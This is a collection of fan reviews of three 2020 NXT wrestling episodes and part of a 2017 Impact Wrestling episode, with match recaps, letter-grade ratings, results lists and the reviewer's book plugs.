NXT
Date: June 3, 2020
Location: WWE Performance Center, Orlando, Florida
Commentators: Mauro Ranallo, Tom Phillips, Beth Phoenix

It’s the go home show for Takeover and that means we have another stacked card. The big story is building tot he NXT Title match but you never know how that might go. NXT has a good history with making you want to see the major shows, but things have been difference since they went to two hours. Hopefully they can make it work well here all over again. Let’s get to it.

Here are last week’s results if you need a recap.

Mia Yim vs. Candice LeRae

Candice jumps her to start but Mia kicks her down without much trouble. More kicks keep Candice down but she kicks her way out of a full nelson. Some backsplashes give Candice two, only to be sent into the corner for a Cannonball. A forearm knocks Candice to the floor and Mia follows her out for a whip into the barricade. The brawling continues and it’s a double countout at 3:49.

Rating: D+. This was just a way to get to the finish and I think you know what’s coming here. Mia was more aggressive than usual here and that’s a good thing that she’s been needing for a while now. Candice is better at the promos than the wrestling, but she could be a lot worse. Just not much of a match, but it wasn’t supposed to be.

Post match the brawl continues and they fight into the Titantron, messing up its feed. Tegan Nox comes in to break it up but Dakota Kai and Raquel Gonzalez come in to break up Nox. Shotzi Blackheart is out as well and the melee is afoot. Everyone else is cleared out and Mia decks Candice. Johnny Gargano comes out to break things up but Candice jumps Mia again. Cue Keith Lee to chase the Garganos off and let’s hit that mixed tag.

Keith Lee/Mia Yim vs. Johnny Gargano/Candice LeRae

Gargano and Lee are in street clothes. The Garganos try to escape but Lee grabs him in a gorilla press. Lee carries him down the aisle and doesn’t mind Candice jumping on his back at the same time. Mia jumps Johnny in the ring and we’re officially ready to start. Mia throws Candice down to start and gets a quick two off Soul Food. Candice gets kicked away but Gargano won’t come in because he’s not in wrestling gear. Gargano comes in to break up a dragon suplex so Lee picks him up, only to have Gargano stab him in the eyes with car keys. Candice rolls Mia up for the pin at 3:45.

Rating: C-. Another angle rather than a match and that’s fine given that the match is already set for Sunday. Gargano vs. Lee should be good and Candice vs. Mia can be done again later. At some point Lee has to lose the title and it would make sense for him to drop the title to the freshly heel Gargano, likely with a lot of cheating included.

Post match Gargano attacks Lee’s hand for a bonus.

Video on Tommaso Ciampa vs. Karrion Kross.

Dexter Lumis has nothing to say….but he pulls in an easel and some markers to start drawing.

Drake Maverick is ready for anything tonight and isn’t feeling the pressure. That’s why he’s having cookies and cake at catering. There is no pressure tonight, and he’s ready for the biggest night of his life.

We get a Prime Target video on Adam Cole vs. Velveteen Dream. Cole is picked up by the Undisputed Era (including Kyle O’Reilly) for a special day commemorating his one year anniversary as NXT Champion. They take the limo to lunch so we go to Velveteen Dream, who talks is rollerblading by Full Sail University, where Cole injured him to cost Dream the North American Title.

The Era has drinks and toasts to Cole’s success and we cut back to Dream talking about the time he pinned Cole. Dream asks his mirror who will be the greatest NXT Champion and is told that it will be him. Various personalities, including Drew McIntyre, talk about how big of a showdown this is. The match is officially a Backlot Brawl.

Lumis has finished his drawing, which is the Undisputed Era in a car with Lumis driving. Ok then.

Tony Nese vs. Isaiah Scott

Fallout from Nese costing Scott a Cruiserweight Title tournament match. Scott spears him down to start and hammers away before they fight outside. Nese gets in a hard shot on the floor and it’s back inside to send Scott back first into the corner. The bodyscissors stays on the back but Scott gets in some chops from the mat.

Nese powers him up into a guillotine but Scott reverses into a brainbuster for a good counter. Scott sends him outside and hits the running boot from the apron to make it even worse. Back in and Nese goes up top but here’s Jack Gallagher for a distraction. Nese punches Scott off the top and loads up the Sunset Driver, only to be reversed into a sunset flip to give Scott the pin at 5:32.

Rating: C. I don’t get why the cruiserweights don’t get a bit more build than they receive. I know they’re never going to be a focal point of the show, but they are right there and capable of doing a little something. Let them fill in some time so you don’t burn through so many of your top stars and stories so fast.

Oney Lorcan/Danny Burch vs. Undisputed Era vs. ???

For the #1 contendership and it’s….Breezango filling out the field in a surprise moment (they’re astronauts because reasons). Burch, Fish and Breeze start things off with Fish getting double teamed. As usual, the other two get in an argument over who should get the pin and the staredown is on. The Era is sent outside and the other four have a staredown to take us to a break.

Back with Strong getting stomped down in the corner until Burch dropkicks Breeze down. Strong sends them into each other and hits a Rock Bottom backbreaker on Breeze. Fish drops Burch on the floor, leaving Breeze to get beaten up in the corner. Fandango gets suckered in so Strong can chinlock Breeze to slow things down. That brings Burch back in for the save and Breeze gets over to Fandango for the tag.

Back to back powerslams plant the Era and it’s a Falcon Arrow for two on Strong. Lorcan comes in as well and strikes away at everyone he can find. A double running Blockbuster drops the Era and Fandango throws Lorcan onto a bunch of people at ringside. Fandango adds the big flip dive, leaving Breeze to Supermodel kick Burch inside. The Era comes in to beat up Breeze as Lumis is here to watch. The Beauty Shot drops Fish though and the Last Dance gives Fandango the pin at 9:46.

Rating: B-. This was your usual wild match but they kept it short enough to not overstay their welcome. Breezango should be good first victims for Imperium, who are the kind of guys who wouldn’t be able to stand the two of them. It could make for an entertaining match, though I’d assume it’s a regular TV match instead of something at Takeover.

Post match Imperium comes out for the staredown, followed by Malcolm Bivens and his two giants. Dang it I was hoping they had forgotten about those two.

We look at Chelsea Green firing Robert Stone last week. That’s probably the right move for both of them as the team wasn’t working.

Aliyah vs. Santana Garrett

Aliyah starts fast with a neckbreaker and right hands as a disheveled Robert Stone comes out to watch. We hit the double arm crank on Garrett but she fires up and hits a hurricanrana out of the corner. A handspring moonsault finishes Aliyah at 2:02. I like both of them but I have no reason to believe this is leading anywhere for Garrett.

An annoyed Stone leaves.

We get another Prime Target, this time on the women’s triple threat match. Io Shirai, underwater, talks about being isolated in the darkness. She loves being alone because it makes her stronger. Rhea Ripley and Charlotte should be afraid of her because she will be the next champion.

Over to Ripley, who is woken up at 5:30am to start training for the day. She finished 2019 on fire but then 2020 was all downhill. It’s time to turn things around. Then we have Charlotte, who is nervous because she hasn’t been on Takeover in a long time. She is NXT homegrown though and will show what she can do again. All three of them want to be the best and have something to prove. Talking heads talk about how good all three of them are and how great the match is going to be.

Bronson Reed vs. Cameron Grimes

Grimes talks trash to start and gets run over by the much bigger Reed. An atomic drop sets up a Bionic elbow and Grimes gets planted off a gorilla press. Reed throws him around again and hits a running hip attack in the corner. Back in and the top rope splash misses, setting up the Cave In to give Grimes the pin at 2:44. Good win for Grimes here and it’s nice to see Reed back.

Post match Grimes talks trash but Karrion Kross is here for the Doomsday Saito to Reed. Kross tells Ciampa that Sunday will be special. Tick tock.

At Takeover: Tegan Nox/Shotzi Blackheart/Mia Yim vs. Dakota Kai/Raquel Gonzalez/Candice LeRae. I can go for a six person.

Interim Cruiserweight Title: El Hijo de Fantasma vs. Drake Maverick

For the vacant title and Maverick’s job is pretty much on the line. They shake hands to start and Fantasma rolls him up for a quick two. That freaks Drake out a bit so it’s off to a slightly safer hammerlock. Fantasma is right back up so they circle each other in a standoff. An armbar takes Drake down and Fantasma gets a rollup for two more. Back up and Maverick grabs a headscissors to put Fantasma on the floor. A Cannonball off the apron takes Fantasma down again and we take a break.

Back with Maverick hitting a middle rope dropkick to put Fantasma on the floor again but this time he powerbombs Maverick on the outside. They head back inside with Fantasma grabbing a surfboard but Maverick slips out and hits a running kick in the corner. Fantasma pulls him into a Boston crab, followed by an ugly sitout powerbomb for two more. That’s enough to fire Maverick up but Fantasma forearms him in the back to take care of that again.

This time Maverick unloads in the corner and drops the top rope elbow for two more. They fight up top again with Fantasma being knocked to the floor. Cue the masked men from the parking lot but Maverick dives onto both of them. Back in and Fantasma hits a quick superkick into the Phantom Driver for the pin and the title at 15:02.

Rating: B. It was a good enough match and I wasn’t sure which way they were going to go until the end. That makes for an interesting way to go and Maverick’s heart was shining through as always. There was even interference to make things feel a little less fair. Fantasma is the right call though as he’s more talented, but it was nice to see Maverick’s great run.

Post match Fantasma celebrates while Maverick sits in the ring. He thanks everyone for what happened, gets the hero’s sendoff…..and here’s HHH with the contract for Maverick to end the show. It was either that or win the title so this was a feel good moment. I’d be curious to find out how long this was planned in advance, but hopefully is wasn’t that long.

Overall Rating: B-. They did a nice job of making Takeover feel like a big deal, but there is still a certain level of magic missing from the show. Maybe it’s a lot of the wrestlers not being able to be in person for the show, but it isn’t exactly as interesting as it has been before. Then again, I’ve said that many times about Takeover before and been completely wrong, so maybe that’s the case this time too.

Results

Mia Yim vs. Candice LeRae went to a double countout

Johnny Gargano/Candice LeRae b. Mia Yim/Keith Lee – Rollup to Yim

Isaiah Scott b. Tony Nese – Sunset flip

Breezango b. Oney Lorcan/Danny Burch and Undisputed Era – Last Dance to Fish

Cameron Grimes b. Bronson Reed – Cave In

El Hijo de Fantasma b. Drake Maverick – Phantom Driver

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: May 20, 2020
Location: WWE Performance Center, Orlando, Florida
Commentators: Mauro Ranallo, Beth Phoenix, Tom Phillips

I’m not sure what to expect at the moment but it’s time to start getting ready for Takeover. The show is in two and a half weeks and that means we are going to need to get things going in a hurry. There isn’t much set for the show but NXT knows how to do this stuff like no one else. Let’s get to it.

Here are last week’s results if you need a recap.

In Memory of Shad Gaspard.

Opening sequence.

Karrion Kross vs. ???

Scarlett doesn’t do as much lip syncing this week but the entrance is still cool. Doomsday Saito and the Krossjacket choke finishes…someone (his tights say Liam) at 49 seconds.

Post match here’s Tommaso Ciampa to say Kross started by going after the top man in NXT. Ciampa knows Kross is special and Kross can prove that when they fight at Takeover. They’re starting fast with the build.

We take a quick look at the Interim Cruiserweight Title Tournament.

Interim Cruiserweight Title Tournament Group B: Akira Tozawa (2-0) vs. El Hijo de Fantasma (1-1)

The winner wins the block. Tozawa takes him to the mat with a test of strength but Fantasma is back up with a northern lights suplex for two. They trade armdrags but Tozawa misses a dropkick to give us a standoff. The chop off is on until Tozawa head fakes him into the right hand. A hurricanrana sends Fantasma outside and Tozawa hits the running flip dive off the steps.

Back from a break with Fantasma hitting a frog splash on the apron but Tozawa plants him down inside. Fantasma crotches him on top but Tozawa drops him on the same buckle to even things up. The top rope backsplash gets two with Fantasma sending him outside for the big suicide dive. Back in and the Phantom Driver finishes Tozawa at 11:30.

Rating: B-. This was a rather action packed one and it’s smart to go with someone new in Fantasma getting the win. He’s someone with a lot of potential and while Tozawa has the history, he hasn’t been getting much extra momentum on Raw with all of the losses. I like the result here though and it’s the right call.

Group B Standings

El Hijo de Fantasma – 2 – 1

Akira Tozawa – 2 – 1

Jack Gallagher – 1 – 2

Isaiah Scott – 1 – 2

We recap last week’s Tag Team Title change and Timothy Thatcher attacking Matt Riddle to end the show.

Thatcher wants one more match with Riddle where pinfalls don’t count and you can only win via knockout or tap out. Riddle can pick the time and the place.

Shotzi Blackheart, on a tank, promises to destroy the NXT Women’s division. She rolls over some cars, which sounds like Dakota Kai. Chelsea Green’s makeup got crushed and she’s sorry to Candice LeRae but she might have just squashed a pixie. This was rather over the top and one of the more memorable things I’ve seen in a long time.

Mia Yim vs. Santana Garrett

They try stereo dropkicks to start so it’s an early standoff. Santana sends her into the corner for a handspring elbow and floats over into a press for two. Yim is back with a dragon suplex and Protect Yo Neck finishes Garrett at 1:15.

Post match here are Johnny Gargano and Candice LeRae with Johnny mocking Mia’s theme song. Candice mocks her for winning because she should be winning against Charlotte. See, Mia had ANOTHER chance to win and blew it, as she always does. The brawl is on but Johnny low bridges Mia to the floor. Keith Lee runs in for the save.

We recap Damien Priest attacking Finn Balor last week to unveil himself as the attacker and causing Balor to lose to Cameron Grimes in the process.

Grimes gloats a lot about his win.

Drake Maverick has to beat Kushida tonight and that’s not easy against one of the best junior heavyweights of all time. He has to pin Kushida or make him submit and since Maverick isn’t Bret Hart, he doesn’t have a lot of options. All Drake knows is he’s tired of doubting himself so tonight’s winning.

Roderick Strong vs. Dexter Lumis

During the Era’s entrance, Adam Cole promises a celebration of his one year title reign next week. Lumis wins a wrestle off to start and stares Strong to the floor in frustration. Back in and Strong still can’t outgrapple him, meaning it’s time for another breather. Strong gets back in where Lumis uppercuts and slams him into a legdrop. A bulldog brings Strong down again so it’s out to the floor for a third time.

This time Lumis follows and gets sent into the steps as a result. Strong drops him onto the apron and we take a break. Back with Strong hitting his running forearms in the corner and grabbing the seated abdominal stretch. Lumis glares his way to freedom so it’s an Olympic Slam to give Strong two.

The Stronghold is broken up so Strong elbows him in the back instead. This time it’s Lumis fighting up with shots to the head and a backdrop, followed by a slingshot suplex for two. Strong chops away and Lumis just glares at him again and grabs a spinebuster. Strong tries the Stronghold again so Lumis reverses into a cradle but Strong sits down on it for the pin at 11:28.

Rating: C+. It was good, but Lumis continues to be so gimmicky that it’s distracting. I’m not sure if I can get into him being this high on the card but it might not be something that lasts too long. They have to try something else though and it makes sense to put him out there and see what he can do. And at least he didn’t pin Strong here so it could have been much worse.

Post match, Lumis chokes Strong out. The Era comes in for the save but Velveteen Dream comes in to make the real save. A Purple Rainmaker over the barricade hits Cole, likely setting up the rematch for the title at Takeover. Lumis cradles Strong and rubs his head while blankly staring out into the distance.

During the break, Akira Tozawa and Fantasma showed respect but the masked men ran in to jump Tozawa. Fantasma made the save and ran them off.

Oney Lorcan/Danny Burch vs. Ever Rise

Burch runs over Parker to start and hands it off to Lorcan for the headlock on Martel. The running Blockbuster sets up a half crab for the tap at 1:33 while Burch Crossfaces Parker at the same time. Well that was fast.

We look back at the Garganos/Keith Lee/Mia Yim segment from earlier.

Keith Lee is sick of the Garganos and is willing to prove it at Takeover.

Matt Riddle would love to face Timothy Thatcher and let’s do it in a cage.

Interim Cruiserweight Title Tournament Group A: Kushida (2-0) vs. Drake Maverick (1-1)

If Kushida wins, he wins the block outright but if Maverick wins, it’s a three way tie between the two of them and Jake Atlas. Kushida grabs a headlock to start so Maverick reverses into a sunset flip. They stare each other down before Drake has to avoid an armbar attempt. A basement dropkick to the ribs puts Maverick in trouble and a handspring elbow makes it even worse.

Kushida snaps the arm back as Jake Atlas comes out to watch. The cartwheel into another basement dropkick gets one on Maverick and we take a break. Back with Maverick sending him into the corner and hitting a middle rope dropkick. A Code Red gets two but Kushida goes right back to the arm to put him outside. Back in and Kushida stomps on the arm but the Sakuraba Lock is broken up with a grab of the rope.

The hold goes on again and stays on a good bit longer, sending Drake into the rope again. Drake demands that the match not be stopped so Kushida gives him a running palm strike in the corner. What looked to be a tornado DDT is blocked but Kushida gets the Sakuraba Lock in the ropes. That has to be broken up due to the ropes so Maverick goes up top for a super sitout bulldog. That’s reversed into the cross armbreaker but Maverick stacks him up for the upset pin at 12:01.

Rating: C+. I understand the issues that exist with the story (playing off of employment at this point, possibly faking a release, releasing someone and then possibly keeping them around because of all of the emotion etc.) but DANG I’ve gotten hooked on the whole thing. I want to see Maverick survive and that’s the kind of story that you need.

Group A Standings

Kushida – 2 – 1

Drake Maverick – 2 – 1

Jake Atlas – 2 – 1

Tony Nese – 0 – 3

Post match it’s Byron Saxton coming out to announce a triple threat match next week for the spot in the finals.

We recap Rhea Ripley vs. Io Shirai.

The Riddle vs. Thatcher Cage Fight is next week.

Drake Maverick talks about living forever. Championships will come, but Finn Balor was a target that turned into an opportunity. Balor put this place on the map so Priest is coming for him at the place where Balor made a name for himself. At Takeover, Balor’s name will turn to ash while the name Damian Priest will live forever.

Ciampa vs. Kross is confirmed for Takeover.

Io Shirai vs. Rhea Ripley

Shirai scratches the back to start so Ripley dropkicks her down. That earns her a quick double stomp from Shirai for two and we take a break. Back with Shirai getting a sunset flip for two and slapping on a Crossface. Ripley powers out and catches her on top for a top rope superplex. That’s good for two and Shirai strikes away, only to get knocked down by a single shot.

Shirai slaps her down into another Crossface so Rhea makes it to the rope again. The 619 connects and a dropkick puts Rhea on the floor. Shirai nails the suicide dive….and here’s Charlotte, for her third appearance on three straight shows. Shirai headscissors Rhea into Charlotte and hits the running knees in the corner back inside. A DDT plants Rhea for two more, only to have Charlotte come in for the big boot to Shirai for the DQ at 10:50.

Rating: C+. Why yes it is Charlotte interfering again, likely setting up a triple threat match for the title at Takeover. I know WWE loves itself some Charlotte and having her on all three weekly shows is something that seems to be a regular move, at least for the time being. Hopefully that isn’t the case, but the title match at Takeover does sound intriguing.

Post match Charlotte spears Rhea down and poses with the title to end the show.

Overall Rating: B-. I had a better time with this one than most of the recent shows as it felt like two regular hour long shows stacked on top of each other. That made things a little bit easier to watch, if nothing else due to the fact that they didn’t stay on anything for too long. You don’t need to spend that much time on any one thing and make it more like a buffet than one big meal. That has worked well for NXT for years and it’s what they were doing here. Good show, and Takeover is taking shape in a hurry.

Results

Karrion Kross b. ??? – Krossjacket Choke

El Hijo de Fantasma b. Akira Tozawa – Phantom Driver

Mia Yim b. Santana Garrett – Protect Yo Neck

Roderick Strong b. Dexter Lumis – Rollup

Oney Lorcan/Danny Burch b. Ever Rise – Half crab to Parker

Drake Maverick b. Kushida – Rollup

Io Shirai b. Rhea Ripley via DQ when Charlotte interfered

 

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

NXT
Date: April 29, 2020
Location: WWE Performance Center, Orlando, Florida
Commentators: Beth Phoenix, Mauro Ranallo, Tom Phillips

The shows are continuing under the same format they’ve had for weeks now: continue on like nothing has changed and hope for the best. Things might have to change though after last week’s real life situation with Velveteen Dream, which could change a lot of the plans going forward. Let’s get to it.

Here are last week’s results if you need a recap.

The opening recap looks at the Interim Cruiserweight Title Tournament.

Interim Cruiserweight Title Tournament Group B: Isaiah Scott (0 – 1) vs. El Hijo de Fantasma (1 – 0)

Fantasma wastes no time in going for a rollup and takes Scott down a few more times. Scott nips right back up into an anklescissors though and Fantasma needs a breather on the floor. That’s fine with Scott, who follows him to the floor and is promptly enziguried straight back down. They wind up standing on the middle rope at the same time so Scott grabs a jumping hurricanrana for two. A kick to the face puts Fantasma on the floor and we take a break.

Back with Fantasma hitting a basement dropkick to put Scott in the corner, setting up some running knees to the chest. Fantasma’s frog splash gets two but Scott muscles him up with a German suplex. They head outside with Scott’s big dive missing, allowing Fantasma to hit his running dive. The Phantom Driver is countered and it’s a crucifix to give Scott the pin at 11:23.

Rating: C+. That’s a good decision as Scott gets to be back in the hunt here, making me wonder what might happen with the rest of the tournament. Hopefully things keep going as I’m liking the format so far. They need to do something like this to fill in a bunch of time as they can only do so much with such a limited crew.

Group B

Akira Tozawa – 1 – 0

Isaiah Scott – 1 – 1

El Hijo de Fantasma – 1 – 1

Jack Gallagher – 0 – 1

Post match, Scott says he’s ready to go and he needs this more than anyone. Nothing but respect for Fantasma of course.

Dominick Dijakovic didn’t like the sound of Johnny Gargano rebelling against the establishment. It was the same establishment that got him into about a million straight Takeovers, but now Johnny hates it anyway. Next week, let’s see if Johnny can back it up against someone twice his size.

During the break, the masked men tried and failed to kidnap Fantasma again.

Candice LeRae vs. Kacy Catanzaro

Johnny Gargano handles Candice’s entrance (Gargano: “From Riverside, California, but currently residing in my heart, my favorite wrestler, Candice LeRae!”) and it’s glorious. Kacy gets taken into the corner for a clean break and then grabs a wristdrag on LeRae. A drop toehold takes Candice down again but she blocks a spinning splash with some raised knees. The chinlock goes on and a wheelbarrow faceplant drops Kacy again. The Gargano Escape is blocked so Candice elbows her in the face. A curb stomp (the Wicked Stepmother) finishes Kacy at 4:04.

Rating: C-. This was a good way to debut Candice and it’s fine to have her take some punishment to start. There is no reason for Candice to suddenly be dominant and amazing and they didn’t do that here. She can win over a lower level star like Kacy and this was a fine way to debut her under her new (and possibly awesome) persona.

Post match Candice slaps on the Gargano Escape as Gargano is rather pleased.

Damian Priest knows Keith Lee is injured and it’s time for him to become North American Champion.

Here are Matt Riddle and Timothy Thatcher for a chat. Riddle knows people have been complaining about NXT throwing people together in tag teams but he and Pete Dunne were a real team. The two of them are a real team too and Riddle already knows him like the back of his hand. Therefore, it’s time for the first episode of the NEWLY BROS SHOW, with Byron Saxton as host.

Saxton goes way over the top and makes some jokes about Thatcher hurting people, complete with a laugh track. Riddle on the other hand like drinking pina coladas in the rain. Now for the game though, where they’re asked a question and one answers out loud and the other writes the answer down. If the answers match, they get a point. First question: what did Matt have for breakfast?

Question #3: as a wrestler, where is the craziest place you’ve ever done it. Thatcher says he’s had a triple threat in a laundromat and Riddle’s card says “threesome on a washer”. That counts so we’ll move on to the speed round. Riddle: “Uh, speed isn’t really my thing.” Cue Imperium to jump the champs from behind and Riddle is taken out. The European Bomb drops Thatcher and Imperium poses with the titles. They’re better than Bivens’ guys at least.

Today is Make-A-Wish Day.

Adam Cole isn’t happy with it but he’s defending the NXT Title against Velveteen Dream next week. That’s when it’s Dream over. There’s your answer about Dream’s status in WWE’s eyes, barring a big bait and switch.

Mia Yim vs. Charlotte

Non-title. Charlotte backs her into the corner to start and it’s already a clean break. The feeling out process continues until Charlotte is whipped into the corner. A Flair Flip puts her on the apron but she is right back with a shoulder to the ribs. That’s fine with Mia, who strikes away and hits a Cannonball in the corner. The tornado DDT gets two on Charlotte but she’s right back with a whip into the ropes. Mia steals Andrade’s gimmick by posing in the ropes and avoiding a charge to send Charlotte outside. The dive is blocked though we take a break.

Back with Charlotte stomping away and bending Mia’s neck around the rope and then slowly stomping away. Mia fights back and gets a quickly broken Tarantula, followed by Soul Food. Charlotte gets the backbreaker out of the corner, only to get caught in the Code Blue for two. That just earns her a Boston crab, with Mia kicking out into a rollup for two. A big boot gives Charlotte the same but the Figure Eight is blocked. Protect Yo Neck is countered as well though and it’s the Figure Eight to make Yim tap at 10:50.

Rating: C+. They were trying here and that made for a good match. I’m not sure if it’s just not hearing Mia called the HBIC every few seconds or something similar, but the match was easier to watch. Charlotte had to sweat a bit here and the whole thing was a nice enough piece of business.

Post match Io Shirai comes out and says next week, Charlotte is hers.

Karrion Kross is here next week.

Kacy Catanzaro’s neck is banged up. Gargano and LeRae come in to say this is the new NXT. Kayden Carter stands by and doesn’t seem pleased.

We’re still not sure who attacked Finn Balor but he’ll be here next week.

Dexter Lumis vs. Shane Thorne

Thorne slugs away to start and Lumis seems to enjoy it. A Thesz press has Thorne in trouble but he’s back up with a kick to the head in the corner. Lumis shoves off a tornado DDT attempt but Thorne rakes the eyes. Thorne’s running dropkick in the corner just annoys Lumis, who plants him with a spinebuster. The Side Effect into the head and arm triangle finishes Thorne at 3:30.

Rating: D+. Lumis is a weird case as he’s very creepy, but we also have Kross coming in to fill the creepy void. Then again there is a certain charisma to Lumis that makes him feel like a major threat and that’s a very good thing. Granted how much can you get out of a three and a half minute squash?

Last week, Jake Atlas gave Drake Maverick a pep talk after the loss. Maverick seemed touched.

Keith Lee is ready for Damian Priest.

Interim Cruiserweight Title Tournament Group A: Tony Nese (1 – 0) vs. Drake Maverick (0 – 1)

Maverick tries a wristlock to start and gets blasted into the corner with a forearm. Nese forearms away in the corner and there’s a running kick to the back. More shots to the ribs and back have Maverick cringing all over again and Nese snaps his throat across the top. Back from a break with Nese talking a lot of trash as Maverick crawls to the corner to get up.

A ram into the corner wakes Maverick up though and Nese starts taking some steps backwards. Maverick unloads in the corner and hits a basement dropkick, only to get caught with a release German suplex into the corner. A cutter out of the corner gives Maverick two but he misses a top rope elbow. Nese gets crotched on top to break up the 450 though and a super bulldog gives Maverick the upset pin at 10:03.

Rating: C+. In the words of Jerry Lawler at Survivor Series, I want to believe, I’m trying to believe. They have the potential to put together one of the best Cinderella runs in a good many years with Maverick and this gives him the breathing room that he might need. It’s a crazy long shot, but there is a chance that he could pull it off and that’s a great feeling to have.

Group A

Jake Atlas – 1 – 0

Kushida – 1 – 0

Drake Maverick – 1 – 1

Tony Nese – 0 – 2

Post match Maverick says he knew he could do it and next up is Kushida. He isn’t leaving yet because he loves this.

Video on Priest vs. Lee. They’ve been fighting for months and will continue to do so tonight, with the title on the line.

Next week: Io Shirai challenges Charlotte for the Women’s Title, Dominick Dijakovic vs. Johnny Gargano and Adam Cole defends the NXT Title against Velveteen Dream.

North American Title: Keith Lee vs. Damian Priest

Priest is challenging. They run the ropes to start and Lee crashes down onto his back, followed by a right hand to knock Priest out of the air. A clothesline puts Priest on the floor and Lee follows, where he goes behind the barricade, gorilla presses Priest, and throws him onto the apron. Good grief that kind of stuff never gets old. A missed charge sends Lee through the barricade though and we take a break.

Back with Priest hitting a running hip attack in the corner but neither can hit a vertical suplex. Instead it’s a hangman’s neckbreaker to drop the champ but he’s back up with a Pounce into the corner. The big spinebuster drops Priest to the floor again and of course Lee hits a slingshot corkscrew dive. Back in and a hard clothesline drops Priest again but he’s right back up for the slugout. Lee breaks up the chokeslam attempt but Priest muscles him up for the Broken Arrow.

That’s enough to send Lee rolling to the floor and Priest hits the big dive over the top. Back in and top rope spinwheel kick give Priest two more so he goes outside. You don’t do that to Lee, who apron superplexes him back in for the big near fall. Priest pops up with a chokeslam for two more so he loads up the baton. This time Lee knocks it away and hits the Grizzly Magnum. Back to back Spirit Bombs retain the title at 14:37.

Rating: B. Most of the time, if you see a match or one close to it done this often, it’s going to lose some of its luster. That has yet to be the case with Lee vs. Priest/Dijakovic and I’m not sure what it would take to stop being this much fun. These guys beat each other up and it never stopped looking cool no matter what they did here. Another very entertaining match from these two because they can do things that no one else can pull off.

Overall Rating: B. Another good show here as things are starting to get into a rhythm. That is the best thing that can happen with these shows as NXT thrives when they have a goal in sight and work towards it. Next week will be a big time show with the two title matches and some other interesting things. They’ve got something with a few of these ideas and if they stay at them, the whole thing will be just fine.

Results

Isaiah Scott b. El Hijo de Fantasma – Crucifix

Candice LeRae b. Kacy Catanzaro – Wicked Stepmother

Charlotte b. Mia Yim – Figure Eight

Dexter Lumis b. Shane Thorne – Head and arm triangle choke

Drake Maverick b. Tony Nese – Super bulldog

Keith Lee b. Damian Priest – Spirit Bomb

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

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Impact Wrestling
Date: November 9, 2017
Location: Aberdeen Pavilion, Ottawa, Ontario, Canada
Commentators: Jeremy Borash, Josh Matthews

It’s time for a new year for Impact and that means we’re on a new taping cycle. Things should be a lot more energetic this week as we start to see what the latest new brain trust has in store for us. Eli Drake is still World Champion and we’ve proven that MMA is better than wrestling so let’s get to it.

Josh and JB are in the ring to run down some of the card.

We see a package from Bound For Glory.

Here are Eli Drake and Chris Adonis for the victory speech. Adonis has to tell the fans to stop cheering for Drake so he can introduce him as Canada’s favorite wrestler. With a bit of an echo in the arena, Drake says this was exactly how the plan was supposed to go. Now a JOHNNY chant cuts him off (sounds like they’re People Power fans) but he’s tired of hearing about Alberto El Patron being mistreated by the company.

It’s nothing compared to being mistreated by Eli Drake, who has tonight off due to his injuries from Bound For Glory. Cue Petey Williams we as begin catering to the live crowd instead of everywhere else. Petey wants a title shot tonight because Drake has never faced him. Drake agrees but for next week, which brings Petey down to the ring. Adonis gets dropped by a single kick but Drake escapes a Canadian Destroyer attempt.

Jimmy Jacobs comes out for commentary for the opening match.

Sonjay Dutt vs. Matt Sydal

They take each other down to the mat to start and let’s cut to a shot of the commentary! After confirming that they are in fact doing commentary, we go back to Dutt armdragging him into an armbar. Jacobs leaves commentary as Sydal takes Dutt down into something like a reverse Muta Lock (with Dutt on his back and his knee being bent). That goes nowhere so it’s off to a half crab with Dutt quickly making the rope.

Rating: C+. Well that was long. I can appreciated the idea of the X-Division guys getting to showcase themselves a bit more, though I still would love some stories in these things. Sydal wants the title, though after seeing him challenge Lashley a few months back, it’s kind of hard to care about him going after the dead X-Division Title.

Post match Ethan Carter III of all people comes out, which hopefully means the AAA nonsense is over. Carter says it’s another win for Sydal, but that’s what he always does, at least until we get to the big moment where he always chokes. Ethan knows he’s the best around here but Sydal is just another talented guy who doesn’t have the whole package. Maybe Sydal can be reborn again, this time as a winner.

And now, here’s a good chunk of a six man tag from 2004 with Team Canada vs. Amazing Red/Sonjay Dutt/Hector Garza. This is an ad for the Global Wrestling Network and suggests to me that on the first show after the biggest show of the year, they already need filler because they can’t film enough at their tapings. That’s not good.

GHC World Title: El Hijo de Fantasma vs. Eddie Edwards

Eddie, an American, is defending the Japanese title against a luchador from Mexico in Canada. Before the match, we have to confirm that this is in fact a sanctioned match, complete with a Pro Wrestling Noah representative. Feeling out process to start with Eddie’s hammerlock getting nowhere. Instead he goes up top, only to get pulled down with a hurricanrana for two. A superplex gets Eddie out of trouble but he’s a bit too banged up to do anything with it.

Eddie’s Blue Thunder Bomb gets two and he kicks Fantasma in the mask to stop a suicide dive. Fantasma has to stomp Eddie’s feet to break up a tiger driver on the apron but Eddie is right back with a suicide dive. Back up and Fantasma scores with one of his own but still can’t put Eddie away. The tiger driver gives Eddie two more but the Boston Knee Party is blocked by a dropkick. Fantasma heads up again but misses whatever he was trying, setting up the Boston Knee Party. Die Hart Flowsion retains the title at 9:54.

Rating: B. Good, hard hitting match here with Eddie showing how good he really can be. That being said, I’d still love an actual story for some of these bigger matches. Having the GHC Title defended here is fine, but could we have a reason someone wants to face Eddie other than it’s a title?

OVE/Sami Callihan vs. Phil Atlas/Marcus Burke/Ray Steele

The lights are way down now to hide the small crowd. Sami charges right at Atlas to start and it’s a triple kick to the head in the corner. It’s off to Steele who eats a triple boot to the face, followed by Sami putting him in an electric chair. Dave does the same to Jake, who grabs Steele in a cutter for the pin at 1:54.

Post match here’s LAX to keep the fight going. The beating is on and OVE and Sami bail after getting beaten down. So it really was a double turn.

